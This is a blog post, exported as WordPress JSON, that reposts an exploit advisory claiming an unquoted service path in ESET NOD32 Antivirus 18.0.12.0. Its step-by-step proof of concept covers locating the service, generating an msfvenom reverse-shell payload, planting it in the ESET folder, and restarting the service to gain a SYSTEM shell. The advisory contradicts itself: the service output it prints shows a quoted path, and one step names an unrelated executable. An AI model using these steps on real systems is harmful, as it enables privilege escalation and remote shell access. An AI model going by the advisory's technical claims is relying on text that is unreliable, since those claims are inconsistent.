{"id":60109,"date":"2024-11-05T02:36:41","date_gmt":"2024-11-04T23:36:41","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/182464\/esetnod32av180120-unquotedpath.txt"},"modified":"2024-11-05T02:36:41","modified_gmt":"2024-11-04T23:36:41","slug":"eset-nod32-antivirus-18-0-12-0-unquoted-service-path","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/eset-nod32-antivirus-18-0-12-0-unquoted-service-path\/","title":{"rendered":"ESET NOD32 Antivirus 18.0.12.0 Unquoted Service Path"},"content":{"rendered":"<p># Exploit Title: ESET NOD32 Antivirus 18.0.12.0 &#8211; &#8220;ESET Service&#8221; Unquoted<br \/>Service Path<br \/># Exploit Author: Milad Karimi (Ex3ptionaL)<br \/># Exploit Date: 2024-11-02<br \/># Contact: miladgrayhat@gmail.com<br \/># Zone-H: www.zone-h.org\/archive\/notifier=Ex3ptionaL<br \/># MiRROR-H: https:\/\/mirror-h.org\/search\/hacker\/49626\/<br \/># Vendor : https:\/\/www.eset.com<br \/># Version : 18.0.12.0<br \/># Tested on OS: Microsoft Windows 10 pro x64<\/p>\n<p>About Unquoted Service Path :<br \/>==============================<\/p>\n<p>When a service is created whose executable path contains spaces and isn&#8217;t<br \/>enclosed within quotes, leads to a vulnerability known as Unquoted Service<br \/>Path which allows a user to gain SYSTEM privileges.<br \/>(only if the vulnerable service is running with SYSTEM privilege level<br \/>which most of the time it is).<\/p>\n<p>Description:<br \/>==============================<br \/>ESET NOD32 Antivirus installs a service with an unquoted service path.<br \/>To properly exploit this vulnerability, the local attacker must insert an<br \/>executable file in the path of the service.<br \/>Upon service restart or system reboot, the malicious code will be run with<br \/>elevated privileges.<\/p>\n<p># PoC<br \/>===========<\/p>\n<p>1. Open CMD and check for the vulnerability by typing [ wmic service get<br \/>name,displayname,pathname,startmode | findstr \/i &#8220;auto&#8221; | findstr \/i \/v<br \/>&#8220;c:\\windows\\\\&#8221; | findstr \/i \/v &#8220;&#8221;&#8221; ]2. The vulnerable service would show up.<br \/>3. Check the service permissions by typing [ sc qc &#8220;ekrn&#8221; ]4. The command would return..<\/p>\n<p>C:\\Users\\Ci3c0&gt;sc qc ekrn<br \/>[SC] QueryServiceConfig SUCCESS<\/p>\n<p>SERVICE_NAME: ekrn<br \/>TYPE : 20 WIN32_SHARE_PROCESS<br \/>START_TYPE : 2 AUTO_START<br \/>ERROR_CONTROL : 1 NORMAL<br \/>BINARY_PATH_NAME : &#8220;C:\\Program Files\\ESET\\ESET Security\\ekrn.exe&#8221;<br \/>LOAD_ORDER_GROUP : Base<br \/>TAG : 0<br \/>DISPLAY_NAME : ESET Service<br \/>DEPENDENCIES :<br \/>SERVICE_START_NAME : LocalSystem<\/p>\n<p>5. This concludes that the service is running as SYSTEM.<br \/>6. Now create a payload with msfvenom or other tools and name it to<br \/>ekrn.exe.<br \/>7. Make sure you have write permissions to &#8220;C:\\Program Files\\ESET\\ESET<br \/>Security&#8221; directory.<br \/>8. Provided that you have right permissions, drop the HDDHealthService.exe<br \/>executable you created into the &#8220;C:\\Program Files\\ESET\\ESET Security&#8221;<br \/>directory.<br \/>9. Start a listener.<br \/>9. Now restart the ekrn service by giving coommand [ sc stop ekrn ]followed by [ sc start ekrn ]9.1 If you cannot stop and start the service, since the service is of type<br \/>&#8220;AUTO_START&#8221; we can restart the system by executing [ shutdown \/r \/t 0 ]and get the shell when the service starts automatically.<br \/>10. Got shell.<\/p>\n<p>During my testing :<\/p>\n<p>Payload : msfvenom -p windows\/shell_reverse_tcp -f exe -o ekrn.exe<\/p>\n<p># Disclaimer<br \/>=============<br \/>The information contained within this advisory is supplied &#8220;as-is&#8221; with no<br \/>warranties or guarantees of fitness of use or otherwise.<br \/>The author is not responsible for any misuse of the information contained<br \/>herein and accepts no responsibility for any damage caused by the use or<br \/>misuse of this information.<br \/>The author prohibits any malicious use of security related information or<br \/>exploits by the author or elsewhere.<\/p>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: ESET NOD32 Antivirus 18.0.12.0 &#8211; &#8220;ESET Service&#8221; UnquotedService Path# Exploit Author: Milad Karimi (Ex3ptionaL)# Exploit Date: 2024-11-02# Contact: miladgrayhat@gmail.com# Zone-H: www.zone-h.org\/archive\/notifier=Ex3ptionaL# MiRROR-H: https:\/\/mirror-h.org\/search\/hacker\/49626\/# Vendor : https:\/\/www.eset.com# Version : 18.0.12.0# Tested on OS: Microsoft Windows 10 pro x64 About Unquoted Service Path :============================== When a service is created whose executable path contains spaces &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-60109","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/60109","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=60109"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/60109\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=60109"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=60109"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=60109"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}